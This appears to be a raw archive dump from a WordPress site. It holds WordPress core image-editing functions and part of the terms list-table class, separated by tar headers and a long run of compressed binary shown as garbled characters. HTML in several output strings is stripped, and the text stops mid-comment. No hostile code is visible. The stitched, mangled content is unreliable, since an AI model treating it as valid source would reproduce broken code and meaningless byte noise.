skip saving the image file. * * Returning a non-null value will short-circuit the save method, * returning that value instead. * * @since 3.5.0 * * @param bool|null $override Value to return instead of saving. Default null. * @param string $filename Name of the file to be saved. * @param WP_Image_Editor $image The image editor instance. * @param string $mime_type The mime type of the image. * @param int $post_id Attachment post ID. */ $saved = apply_filters( 'wp_save_image_editor_file', null, $filename, $image, $mime_type, $post_id ); if ( null !== $saved ) { return $saved; } return $image->save( $filename, $mime_type ); } else { /* translators: 1: $image, 2: WP_Image_Editor */ _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) ); /** This filter is documented in wp-admin/includes/image-edit.php */ $image = apply_filters_deprecated( 'image_save_pre', array( $image, $post_id ), '3.5.0', 'image_editor_save_pre' ); /** * Filters whether to skip saving the image file. * * Returning a non-null value will short-circuit the save method, * returning that value instead. * * @since 2.9.0 * @deprecated 3.5.0 Use {@see 'wp_save_image_editor_file'} instead. * * @param bool|null $override Value to return instead of saving. Default null. * @param string $filename Name of the file to be saved. * @param resource|GdImage $image Image resource or GdImage instance. * @param string $mime_type The mime type of the image. * @param int $post_id Attachment post ID. */ $saved = apply_filters_deprecated( 'wp_save_image_file', array( null, $filename, $image, $mime_type, $post_id ), '3.5.0', 'wp_save_image_editor_file' ); if ( null !== $saved ) { return $saved; } switch ( $mime_type ) { case 'image/jpeg': /** This filter is documented in wp-includes/class-wp-image-editor.php */ return imagejpeg( $image, $filename, apply_filters( 'jpeg_quality', 90, 'edit_image' ) ); case 'image/png': return imagepng( $image, $filename ); case 'image/gif': return imagegif( $image, $filename ); case 'image/webp': if ( function_exists( 'imagewebp' ) ) { return imagewebp( $image, $filename ); } return false; default: return false; } } } /** * Image preview ratio. Internal use only. * * @since 2.9.0 * * @ignore * @param int $w Image width in pixels. * @param int $h Image height in pixels. * @return float|int Image preview ratio. */ function _image_get_preview_ratio( $w, $h ) { $max = max( $w, $h ); return $max > 400 ? ( 400 / $max ) : 1; } /** * Returns an image resource. Internal use only. * * @since 2.9.0 * @deprecated 3.5.0 Use WP_Image_Editor::rotate() * @see WP_Image_Editor::rotate() * * @ignore * @param resource|GdImage $img Image resource. * @param float|int $angle Image rotation angle, in degrees. * @return resource|GdImage|false GD image resource or GdImage instance, false otherwise. */ function _rotate_image_resource( $img, $angle ) { _deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::rotate()' ); if ( function_exists( 'imagerotate' ) ) { $rotated = imagerotate( $img, $angle, 0 ); if ( is_gd_image( $rotated ) ) { imagedestroy( $img ); $img = $rotated; } } return $img; } /** * Flips an image resource. Internal use only. * * @since 2.9.0 * @deprecated 3.5.0 Use WP_Image_Editor::flip() * @see WP_Image_Editor::flip() * * @ignore * @param resource|GdImage $img Image resource or GdImage instance. * @param bool $horz Whether to flip horizontally. * @param bool $vert Whether to flip vertically. * @return resource|GdImage (maybe) flipped image resource or GdImage instance. */ function _flip_image_resource( $img, $horz, $vert ) { _deprecated_function( __FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()' ); $w = imagesx( $img ); $h = imagesy( $img ); $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_gd_image( $dst ) ) { $sx = $vert ? ( $w - 1 ) : 0; $sy = $horz ? ( $h - 1 ) : 0; $sw = $vert ? -$w : $w; $sh = $horz ? -$h : $h; if ( imagecopyresampled( $dst, $img, 0, 0, $sx, $sy, $w, $h, $sw, $sh ) ) { imagedestroy( $img ); $img = $dst; } } return $img; } /** * Crops an image resource. Internal use only. * * @since 2.9.0 * * @ignore * @param resource|GdImage $img Image resource or GdImage instance. * @param float $x Source point x-coordinate. * @param float $y Source point y-coordinate. * @param float $w Source width. * @param float $h Source height. * @return resource|GdImage (maybe) cropped image resource or GdImage instance. */ function _crop_image_resource( $img, $x, $y, $w, $h ) { $dst = wp_imagecreatetruecolor( $w, $h ); if ( is_gd_image( $dst ) ) { if ( imagecopy( $dst, $img, 0, 0, $x, $y, $w, $h ) ) { imagedestroy( $img ); $img = $dst; } } return $img; } /** * Performs group of changes on Editor specified. * * @since 2.9.0 * * @param WP_Image_Editor $image WP_Image_Editor instance. * @param array $changes Array of change operations. * @return WP_Image_Editor WP_Image_Editor instance with changes applied. */ function image_edit_apply_changes( $image, $changes ) { if ( is_gd_image( $image ) ) { /* translators: 1: $image, 2: WP_Image_Editor */ _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( __( '%1$s needs to be a %2$s object.' ), '$image', 'WP_Image_Editor' ) ); } if ( ! is_array( $changes ) ) { return $image; } // Expand change operations. foreach ( $changes as $key => $obj ) { if ( isset( $obj->r ) ) { $obj->type = 'rotate'; $obj->angle = $obj->r; unset( $obj->r ); } elseif ( isset( $obj->f ) ) { $obj->type = 'flip'; $obj->axis = $obj->f; unset( $obj->f ); } elseif ( isset( $obj->c ) ) { $obj->type = 'crop'; $obj->sel = $obj->c; unset( $obj->c ); } $changes[ $key ] = $obj; } // Combine operations. if ( count( $changes ) > 1 ) { $filtered = array( $changes[0] ); for ( $i = 0, $j = 1, $c = count( $changes ); $j < $c; $j++ ) { $combined = false; if ( $filtered[ $i ]->type == $changes[ $j ]->type ) { switch ( $filtered[ $i ]->type ) { case 'rotate': $filtered[ $i ]->angle += $changes[ $j ]->angle; $combined = true; break; case 'flip': $filtered[ $i ]->axis ^= $changes[ $j ]->axis; $combined = true; break; } } if ( ! $combined ) { $filtered[ ++$i ] = $changes[ $j ]; } } $changes = $filtered; unset( $filtered ); } // Image resource before applying the changes. if ( $image instanceof WP_Image_Editor ) { /** * Filters the WP_Image_Editor instance before applying changes to the image. * * @since 3.5.0 * * @param WP_Image_Editor $image WP_Image_Editor instance. * @param array $changes Array of change operations. */ $image = apply_filters( 'wp_image_editor_before_change', $image, $changes ); } elseif ( is_gd_image( $image ) ) { /** * Filters the GD image resource before applying changes to the image. * * @since 2.9.0 * @deprecated 3.5.0 Use {@see 'wp_image_editor_before_change'} instead. * * @param resource|GdImage $image GD image resource or GdImage instance. * @param array $changes Array of change operations. */ $image = apply_filters_deprecated( 'image_edit_before_change', array( $image, $changes ), '3.5.0', 'wp_image_editor_before_change' ); } foreach ( $changes as $operation ) { switch ( $operation->type ) { case 'rotate': if ( 0 != $operation->angle ) { if ( $image instanceof WP_Image_Editor ) { $image->rotate( $operation->angle ); } else { $image = _rotate_image_resource( $image, $operation->angle ); } } break; case 'flip': if ( 0 != $operation->axis ) { if ( $image instanceof WP_Image_Editor ) { $image->flip( ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 ); } else { $image = _flip_image_resource( $image, ( $operation->axis & 1 ) != 0, ( $operation->axis & 2 ) != 0 ); } } break; case 'crop': $sel = $operation->sel; if ( $image instanceof WP_Image_Editor ) { $size = $image->get_size(); $w = $size['width']; $h = $size['height']; $scale = 1 / _image_get_preview_ratio( $w, $h ); // Discard preview scaling. $image->crop( $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale ); } else { $scale = 1 / _image_get_preview_ratio( imagesx( $image ), imagesy( $image ) ); // Discard preview scaling. $image = _crop_image_resource( $image, $sel->x * $scale, $sel->y * $scale, $sel->w * $scale, $sel->h * $scale ); } break; } } return $image; } /** * Streams image in post to browser, along with enqueued changes * in `$_REQUEST['history']`. * * @since 2.9.0 * * @param int $post_id Attachment post ID. * @return bool True on success, false on failure. */ function stream_preview_image( $post_id ) { $post = get_post( $post_id ); wp_raise_memory_limit( 'admin' ); $img = wp_get_image_editor( _load_image_to_edit_path( $post_id ) ); if ( is_wp_error( $img ) ) { return false; } $changes = ! empty( $_REQUEST['history'] ) ? json_decode( wp_unslash( $_REQUEST['history'] ) ) : null; if ( $changes ) { $img = image_edit_apply_changes( $img, $changes ); } // Scale the image. $size = $img->get_size(); $w = $size['width']; $h = $size['height']; $ratio = _image_get_preview_ratio( $w, $h ); $w2 = max( 1, $w * $ratio ); $h2 = max( 1, $h * $ratio ); if ( is_wp_error( $img->resize( $w2, $h2 ) ) ) { return false; } return wp_stream_image( $img, $post->post_mime_type, $post_id ); } /** * Restores the metadata for a given attachment. * * @since 2.9.0 * * @param int $post_id Attachment post ID. * @return stdClass Image restoration message object. */ function wp_restore_image( $post_id ) { $meta = wp_get_attachment_metadata( $post_id ); $file = get_attached_file( $post_id ); $backup_sizes = get_post_meta( $post_id, '_wp_attachment_backup_sizes', true ); $old_backup_sizes = $backup_sizes; $restored = false; $msg = new stdClass; if ( ! is_array( $backup_sizes ) ) { $msg->error = __( 'Cannot load image metadata.' ); return $msg; } $parts = pathinfo( $file ); $suffix = time() . rand( 100, 999 ); $default_sizes = get_intermediate_image_sizes(); if ( isset( $backup_sizes['full-orig'] ) && is_array( $backup_sizes['full-orig'] ) ) { $data = $backup_sizes['full-orig']; if ( $parts['basename'] != $data['file'] ) { if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) { // Delete only if it's an edited image. if ( preg_match( '/-e[0-9]{13}\./', $parts['basename'] ) ) { wp_delete_file( $file ); } } elseif ( isset( $meta['width'], $meta['height'] ) ) { $backup_sizes[ "full-$suffix" ] = array( 'width' => $meta['width'], 'height' => $meta['height'], 'file' => $parts['basename'], ); } } $restored_file = path_join( $parts['dirname'], $data['file'] ); $restored = update_attached_file( $post_id, $restored_file ); $meta['file'] = _wp_relative_upload_path( $restored_file ); $meta['width'] = $data['width']; $meta['height'] = $data['height']; } foreach ( $default_sizes as $default_size ) { if ( isset( $backup_sizes[ "$default_size-orig" ] ) ) { $data = $backup_sizes[ "$default_size-orig" ]; if ( isset( $meta['sizes'][ $default_size ] ) && $meta['sizes'][ $default_size ]['file'] != $data['file'] ) { if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE ) { // Delete only if it's an edited image. if ( preg_match( '/-e[0-9]{13}-/', $meta['sizes'][ $default_size ]['file'] ) ) { $delete_file = path_join( $parts['dirname'], $meta['sizes'][ $default_size ]['file'] ); wp_delete_file( $delete_file ); } } else { $backup_sizes[ "$default_size-{$suffix}" ] = $meta['sizes'][ $default_size ]; } } $meta['sizes'][ $default_size ] = $data; } else { unset( $meta['sizes'][ $default_size ] ); } } if ( ! wp_update_attachment_metadata( $post_id, $meta ) || ( $old_backup_sizes !== $backup_sizes && ! update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ) ) ) { $msg->error = __( 'Cannot save image metadata.' ); return $msg; } if ( ! $restored ) { $msg->error = __( 'Image metadata is inconsistent.' ); } else { $msg->msg = __( 'Image restored successfully.' ); } return $msg; } /** * Saves image to post, along with enqueued changes * in `$_REQUEST['history']`. * * @since 2.9.0 * * @param int $post_id Attachment post ID. * @return stdClass */ function wp_save_image( $post_id ) { $_wp_additional_image_sizes = wp_get_additional_image_sizes(); $return = new stdClass; $success = false; $delete = false; $scaled = false; $nocrop = false; $post = get_post( $post_id ); $img = wp_get_image_editor( _load_image_to_edit_path( $post_id, 'full' ) ); if ( is_wp_error( $img ) ) { $return->error = esc_js( __( 'Unable to create new image.' ) ); return $return; } $fwidth = ! empty( $_REQUEST['fwidth'] ) ? (int) $_REQUEST['fwidth'] : 0; $fheight = ! empty( $_REQUEST['fheight'] ) ? (int) $_REQUEST['fheight'] : 0; $target = ! empty( $_REQUEST['target'] ) ? preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['target'] ) : ''; $scale = ! empty( $_REQUEST['do'] ) && 'scale' === $_REQUEST['do']; if ( $scale && $fwidth > 0 && $fheight > 0 ) { $size = $img->get_size(); $sX = $size['width']; $sY = $size['height']; // Check if it has roughly the same w / h ratio. $diff = round( $sX / $sY, 2 ) - round( $fwidth / $fheight, 2 ); if ( -0.1 < $diff && $diff < 0.1 ) { // Scale the full size image. if ( $img->resize( $fwidth, $fheight ) ) { $scaled = true; } } if ( ! $scaled ) { $return->error = esc_js( __( 'Error while saving the scaled image. Please reload the page and try again.' ) ); return $return; } } elseif ( ! empty( $_REQUEST['history'] ) ) { $changes = json_decode( wp_unslash( $_REQUEST['history'] ) ); if ( $changes ) { $img = image_edit_apply_changes( $img, $changes ); } } else { $return->error = esc_js( __( 'Nothing to save, the image has not changed.' ) ); return $return; } $meta = wp_get_attachment_metadata( $post_id ); $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); if ( ! is_array( $meta ) ) { $return->error = esc_js( __( 'Image data does not exist. Please re-upload the image.' ) ); return $return; } if ( ! is_array( $backup_sizes ) ) { $backup_sizes = array(); } // Generate new filename. $path = get_attached_file( $post_id ); $basename = pathinfo( $path, PATHINFO_BASENAME ); $dirname = pathinfo( $path, PATHINFO_DIRNAME ); $ext = pathinfo( $path, PATHINFO_EXTENSION ); $filename = pathinfo( $path, PATHINFO_FILENAME ); $suffix = time() . rand( 100, 999 ); if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && isset( $backup_sizes['full-orig'] ) && $backup_sizes['full-orig']['file'] != $basename ) { if ( 'thumbnail' === $target ) { $new_path = "{$dirname}/{$filename}-temp.{$ext}"; } else { $new_path = $path; } } else { while ( true ) { $filename = preg_replace( '/-e([0-9]+)$/', '', $filename ); $filename .= "-e{$suffix}"; $new_filename = "{$filename}.{$ext}"; $new_path = "{$dirname}/$new_filename"; if ( file_exists( $new_path ) ) { $suffix++; } else { break; } } } // Save the full-size file, also needed to create sub-sizes. if ( ! wp_save_image_file( $new_path, $img, $post->post_mime_type, $post_id ) ) { $return->error = esc_js( __( 'Unable to save the image.' ) ); return $return; } if ( 'nothumb' === $target || 'all' === $target || 'full' === $target || $scaled ) { $tag = false; if ( isset( $backup_sizes['full-orig'] ) ) { if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) && $backup_sizes['full-orig']['file'] !== $basename ) { $tag = "full-$suffix"; } } else { $tag = 'full-orig'; } if ( $tag ) { $backup_sizes[ $tag ] = array( 'width' => $meta['width'], 'height' => $meta['height'], 'file' => $basename, ); } $success = ( $path === $new_path ) || update_attached_file( $post_id, $new_path ); $meta['file'] = _wp_relative_upload_path( $new_path ); $size = $img->get_size(); $meta['width'] = $size['width']; $meta['height'] = $size['height']; if ( $success ) { $sizes = get_intermediate_image_sizes(); if ( 'nothumb' === $target || 'all' === $target ) { if ( 'nothumb' === $target ) { $sizes = array_diff( $sizes, array( 'thumbnail' ) ); } } elseif ( 'thumbnail' !== $target ) { $sizes = array_diff( $sizes, array( $target ) ); } } $return->fw = $meta['width']; $return->fh = $meta['height']; } elseif ( 'thumbnail' === $target ) { $sizes = array( 'thumbnail' ); $success = true; $delete = true; $nocrop = true; } else { $sizes = array( $target ); $success = true; $delete = true; $nocrop = $_wp_additional_image_sizes[ $size ]['crop']; } /* * We need to remove any existing resized image files because * a new crop or rotate could generate different sizes (and hence, filenames), * keeping the new resized images from overwriting the existing image files. * https://core.trac.wordpress.org/ticket/32171 */ if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && ! empty( $meta['sizes'] ) ) { foreach ( $meta['sizes'] as $size ) { if ( ! empty( $size['file'] ) && preg_match( '/-e[0-9]{13}-/', $size['file'] ) ) { $delete_file = path_join( $dirname, $size['file'] ); wp_delete_file( $delete_file ); } } } if ( isset( $sizes ) ) { $_sizes = array(); foreach ( $sizes as $size ) { $tag = false; if ( isset( $meta['sizes'][ $size ] ) ) { if ( isset( $backup_sizes[ "$size-orig" ] ) ) { if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE ) && $backup_sizes[ "$size-orig" ]['file'] != $meta['sizes'][ $size ]['file'] ) { $tag = "$size-$suffix"; } } else { $tag = "$size-orig"; } if ( $tag ) { $backup_sizes[ $tag ] = $meta['sizes'][ $size ]; } } if ( isset( $_wp_additional_image_sizes[ $size ] ) ) { $width = (int) $_wp_additional_image_sizes[ $size ]['width']; $height = (int) $_wp_additional_image_sizes[ $size ]['height']; $crop = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop']; } else { $height = get_option( "{$size}_size_h" ); $width = get_option( "{$size}_size_w" ); $crop = ( $nocrop ) ? false : get_option( "{$size}_crop" ); } $_sizes[ $size ] = array( 'width' => $width, 'height' => $height, 'crop' => $crop, ); } $meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) ); } unset( $img ); if ( $success ) { wp_update_attachment_metadata( $post_id, $meta ); update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes ); if ( 'thumbnail' === $target || 'all' === $target || 'full' === $target ) { // Check if it's an image edit from attachment edit screen. if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' === $_REQUEST['context'] ) { $thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true ); $return->thumbnail = $thumb_url[0]; } else { $file_url = wp_get_attachment_url( $post_id ); if ( ! empty( $meta['sizes']['thumbnail'] ) ) { $thumb = $meta['sizes']['thumbnail']; $return->thumbnail = path_join( dirname( $file_url ), $thumb['file'] ); } else { $return->thumbnail = "$file_url?w=128&h=128"; } } } } else { $delete = true; } if ( $delete ) { wp_delete_file( $new_path ); } $return->msg = esc_js( __( 'Image saved' ) ); return $return; } schema.php.php.tar.gz000064400000023562152377531730010534 0ustar00}kw۶j $˩^E~$NRNIܜٹ]=\I)òwIPd{D `f0 lw~y N^_&0Vdg?F8݉aRxS| i[|vcݽ}󷽃GO>~{N**G_dn|&}Ȋۂ%;y˪8K9;goO !gsή8Y5շ aUCAXS(y9GëhMO/U1l*^aA] }ldQ #xb%<;b"tMjTdy>dmbU%v]"^ .j`Ej^ļKjNp%a$Qip [59.5x$܀nfG/&- M8˯?_qMfkvK :g>* MX0E4+Yar~$抒QA`A(ΧpʪjRv $I_rMP}I6QNGuRXiܱa}].*@fE񂝽Eu& 3Hn/; X/ k0XAтʒ oNOm( @~QuYhVZCozPM&+za1):W`wԥ=G DG8&KBR==MońH ݷ".V`XSAJ\z.Se?a[Oꉚ? Bn ZN㜄@0#&UL*P{kQOQƨMKʏӪ?b Ϥ^e\ `eލ~yVQU6>`HfhufHPZoo XAs{ ҟfp2> *T]DY-΍IL:C7_=wDb9ͪEWt AZYĠ,n)ᮘhJ i&:hl] R(pp*=E g}ir{ULQ u  7tBWQ{P |)m5aðG w#z{^eא$k6,ZlSHid6CRoǙhQB%_>e#Au zQ;Z0l@W "~3E޶{.W OSX^:5<*9lQuTaM0ԦK!~j^t, aeD枡sL]dS%p~:0re7m |LRveȳFs,O8{D[+@ImJRd+QJ qgS;]cPZ;Iɗ66 rzKe8œ\Ґ*>nZ cQ5]Gk}J"0a}˵pZ fQjOڒ()_]Y|DNo ehZ/{,ce=$kJUmtɵ-,УN\B(iZ# [W}z掤Skڻ{ ǷD>SȏB7_nCIZS6>=/ϟ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Y?ԳiJA8od=0O묺mAͪ~J[0e[߸we_d; F6^n+쇕t1;`XclSʷ5$i/S-L]3J1Ӗxm\&/W9| ԏ_5W1qඅY}E (V%m+~:]k*,Le uF^ڵb/Boߠg4!;pWml;r {~rմۑ%a~95l?Ƭ}qkX|'lC&5&ߙԚߝtmYAדVj~knLCy`8=7ݷ;Lg%mԘVԔ"S6a%% x u''~0u:+^JHgr7K/r;HIe. цkP_չs+r\a)"L-a;Couo#R>yN3 SpYX՟;{Z}Nu8]c}ѽPMY!Ժ@aT?/ܥ:R9$JV mOR< z$+Zā&kBDSg/Q{_aO _ 4׊ t+N"?oHNmdUC;wzΈw(?-,ٮ07~|LN<#g{ Ȅ^b;܃tw^ Qhm avNy\L?{/ ,5> !gPR~ |#O!uC 'Y\Fk{<$(s<Nx/sqБcA85J7n27)R#> "]37'.5yl\7 3b՝ڵzIf2T˴RLz޲;4Y]#+Wp#9Q)ĐV {WQ)gÃi*Y/_ܿo=NCA#"/H\LtmW41ǟow>ua= Аw |٧K5 Vlb:oQ#<,jt UDzrp_PYFrn:΄8R(X=;#Ɔ+Օumh +QԤ)Xjr$yk?٩w]oK`+v,*O>$-XC􊔬謴Z Y%QFE y/` gC]?}uCij N68o2@iZ!n `1ɀPD}ȧ O _R=*2_#<^^:ȷcn鏟?~4class-wp-terms-list-table.php.tar000064400000052000152377531730012773 0ustar00home/quizenacom/public_html/wp-admin/includes/class-wp-terms-list-table.php000064400000046244152377460730023153 0ustar00 'tags', 'singular' => 'tag', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $action = $this->screen->action; $post_type = $this->screen->post_type; $taxonomy = $this->screen->taxonomy; if ( empty( $taxonomy ) ) { $taxonomy = 'post_tag'; } if ( ! taxonomy_exists( $taxonomy ) ) { wp_die( __( 'Invalid taxonomy.' ) ); } $tax = get_taxonomy( $taxonomy ); // @todo Still needed? Maybe just the show_ui part. if ( empty( $post_type ) || ! in_array( $post_type, get_post_types( array( 'show_ui' => true ) ), true ) ) { $post_type = 'post'; } } /** * @return bool */ public function ajax_user_can() { return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms ); } /** */ public function prepare_items() { $taxonomy = $this->screen->taxonomy; $tags_per_page = $this->get_items_per_page( "edit_{$taxonomy}_per_page" ); if ( 'post_tag' === $taxonomy ) { /** * Filters the number of terms displayed per page for the Tags list table. * * @since 2.8.0 * * @param int $tags_per_page Number of tags to be displayed. Default 20. */ $tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page ); /** * Filters the number of terms displayed per page for the Tags list table. * * @since 2.7.0 * @deprecated 2.8.0 Use {@see 'edit_tags_per_page'} instead. * * @param int $tags_per_page Number of tags to be displayed. Default 20. */ $tags_per_page = apply_filters_deprecated( 'tagsperpage', array( $tags_per_page ), '2.8.0', 'edit_tags_per_page' ); } elseif ( 'category' === $taxonomy ) { /** * Filters the number of terms displayed per page for the Categories list table. * * @since 2.8.0 * * @param int $tags_per_page Number of categories to be displayed. Default 20. */ $tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page ); } $search = ! empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : ''; $args = array( 'taxonomy' => $taxonomy, 'search' => $search, 'page' => $this->get_pagenum(), 'number' => $tags_per_page, 'hide_empty' => 0, ); if ( ! empty( $_REQUEST['orderby'] ) ) { $args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) ); } if ( ! empty( $_REQUEST['order'] ) ) { $args['order'] = trim( wp_unslash( $_REQUEST['order'] ) ); } $args['offset'] = ( $args['page'] - 1 ) * $args['number']; // Save the values because 'number' and 'offset' can be subsequently overridden. $this->callback_args = $args; if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) { // We'll need the full set of terms then. $args['number'] = 0; $args['offset'] = $args['number']; } $this->items = get_terms( $args ); $this->set_pagination_args( array( 'total_items' => wp_count_terms( array( 'taxonomy' => $taxonomy, 'search' => $search, ) ), 'per_page' => $tags_per_page, ) ); } /** */ public function no_items() { echo get_taxonomy( $this->screen->taxonomy )->labels->not_found; } /** * @return array */ protected function get_bulk_actions() { $actions = array(); if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) ) { $actions['delete'] = __( 'Delete' ); } return $actions; } /** * @return string */ public function current_action() { if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && 'delete' === $_REQUEST['action'] ) { return 'bulk-delete'; } return parent::current_action(); } /** * @return array */ public function get_columns() { $columns = array( 'cb' => '', 'name' => _x( 'Name', 'term name' ), 'description' => __( 'Description' ), 'slug' => __( 'Slug' ), ); if ( 'link_category' === $this->screen->taxonomy ) { $columns['links'] = __( 'Links' ); } else { $columns['posts'] = _x( 'Count', 'Number/count of items' ); } return $columns; } /** * @return array */ protected function get_sortable_columns() { return array( 'name' => 'name', 'description' => 'description', 'slug' => 'slug', 'posts' => 'count', 'links' => 'count', ); } /** */ public function display_rows_or_placeholder() { $taxonomy = $this->screen->taxonomy; $number = $this->callback_args['number']; $offset = $this->callback_args['offset']; // Convert it to table rows. $count = 0; if ( empty( $this->items ) || ! is_array( $this->items ) ) { echo ''; $this->no_items(); echo ''; return; } if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $this->callback_args['orderby'] ) ) { if ( ! empty( $this->callback_args['search'] ) ) {// Ignore children on searches. $children = array(); } else { $children = _get_term_hierarchy( $taxonomy ); } /* * Some funky recursion to get the job done (paging & parents mainly) is contained within. * Skip it for non-hierarchical taxonomies for performance sake. */ $this->_rows( $taxonomy, $this->items, $children, $offset, $number, $count ); } else { foreach ( $this->items as $term ) { $this->single_row( $term ); } } } /** * @param string $taxonomy * @param array $terms * @param array $children * @param int $start * @param int $per_page * @param int $count * @param int $parent_term * @param int $level */ private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent_term = 0, $level = 0 ) { $end = $start + $per_page; foreach ( $terms as $key => $term ) { if ( $count >= $end ) { break; } if ( $term->parent !== $parent_term && empty( $_REQUEST['s'] ) ) { continue; } // If the page starts in a subtree, print the parents. if ( $count === $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) { $my_parents = array(); $parent_ids = array(); $p = $term->parent; while ( $p ) { $my_parent = get_term( $p, $taxonomy ); $my_parents[] = $my_parent; $p = $my_parent->parent; if ( in_array( $p, $parent_ids, true ) ) { // Prevent parent loops. break; } $parent_ids[] = $p; } unset( $parent_ids ); $num_parents = count( $my_parents ); while ( $my_parent = array_pop( $my_parents ) ) { echo "\t"; $this->single_row( $my_parent, $level - $num_parents ); $num_parents--; } } if ( $count >= $start ) { echo "\t"; $this->single_row( $term, $level ); } ++$count; unset( $terms[ $key ] ); if ( isset( $children[ $term->term_id ] ) && empty( $_REQUEST['s'] ) ) { $this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 ); } } } /** * @global string $taxonomy * @param WP_Term $tag Term object. * @param int $level */ public function single_row( $tag, $level = 0 ) { global $taxonomy; $tag = sanitize_term( $tag, $taxonomy ); $this->level = $level; if ( $tag->parent ) { $count = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) ); $level = 'level-' . $count; } else { $level = 'level-0'; } echo ''; $this->single_row_columns( $tag ); echo ''; } /** * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Term $item Term object. * @return string */ public function column_cb( $item ) { // Restores the more descriptive, specific name for use within this method. $tag = $item; if ( current_user_can( 'delete_term', $tag->term_id ) ) { return sprintf( '' . '', $tag->term_id, /* translators: %s: Taxonomy term name. */ sprintf( __( 'Select %s' ), $tag->name ) ); } return ' '; } /** * @param WP_Term $tag Term object. * @return string */ public function column_name( $tag ) { $taxonomy = $this->screen->taxonomy; $pad = str_repeat( '— ', max( 0, $this->level ) ); /** * Filters display of the term name in the terms list table. * * The default output may include padding due to the term's * current level in the term hierarchy. * * @since 2.5.0 * * @see WP_Terms_List_Table::column_name() * * @param string $pad_tag_name The term name, padded if not top-level. * @param WP_Term $tag Term object. */ $name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag ); $qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' ); $uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI']; $edit_link = get_edit_term_link( $tag, $taxonomy, $this->screen->post_type ); if ( $edit_link ) { $edit_link = add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $uri ) ), $edit_link ); $name = sprintf( '%s', esc_url( $edit_link ), /* translators: %s: Taxonomy term name. */ esc_attr( sprintf( __( '“%s” (Edit)' ), $tag->name ) ), $name ); } $out = sprintf( '%s
', $name ); $out .= ''; return $out; } /** * Gets the name of the default primary column. * * @since 4.3.0 * * @return string Name of the default primary column, in this case, 'name'. */ protected function get_default_primary_column_name() { return 'name'; } /** * Generates and displays row action links. * * @since 4.3.0 * @since 5.9.0 Renamed `$tag` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Term $item Tag being acted upon. * @param string $column_name Current column name. * @param string $primary Primary column name. * @return string Row actions output for terms, or an empty string * if the current column is not the primary column. */ protected function handle_row_actions( $item, $column_name, $primary ) { if ( $primary !== $column_name ) { return ''; } // Restores the more descriptive, specific name for use within this method. $tag = $item; $taxonomy = $this->screen->taxonomy; $tax = get_taxonomy( $taxonomy ); $uri = wp_doing_ajax() ? wp_get_referer() : $_SERVER['REQUEST_URI']; $edit_link = add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $uri ) ), get_edit_term_link( $tag, $taxonomy, $this->screen->post_type ) ); $actions = array(); if ( current_user_can( 'edit_term', $tag->term_id ) ) { $actions['edit'] = sprintf( '%s', esc_url( $edit_link ), /* translators: %s: Taxonomy term name. */ esc_attr( sprintf( __( 'Edit “%s”' ), $tag->name ) ), __( 'Edit' ) ); $actions['inline hide-if-no-js'] = sprintf( '', /* translators: %s: Taxonomy term name. */ esc_attr( sprintf( __( 'Quick edit “%s” inline' ), $tag->name ) ), __( 'Quick Edit' ) ); } if ( current_user_can( 'delete_term', $tag->term_id ) ) { $actions['delete'] = sprintf( '%s', wp_nonce_url( "edit-tags.php?action=delete&taxonomy=$taxonomy&tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ), /* translators: %s: Taxonomy term name. */ esc_attr( sprintf( __( 'Delete “%s”' ), $tag->name ) ), __( 'Delete' ) ); } if ( is_taxonomy_viewable( $tax ) ) { $actions['view'] = sprintf( '%s', get_term_link( $tag ), /* translators: %s: Taxonomy term name. */ esc_attr( sprintf( __( 'View “%s” archive' ), $tag->name ) ), __( 'View' ) ); } /** * Filters the action links displayed for each term in the Tags list table. * * @since 2.8.0 * @since 3.0.0 Deprecated in favor of {@see 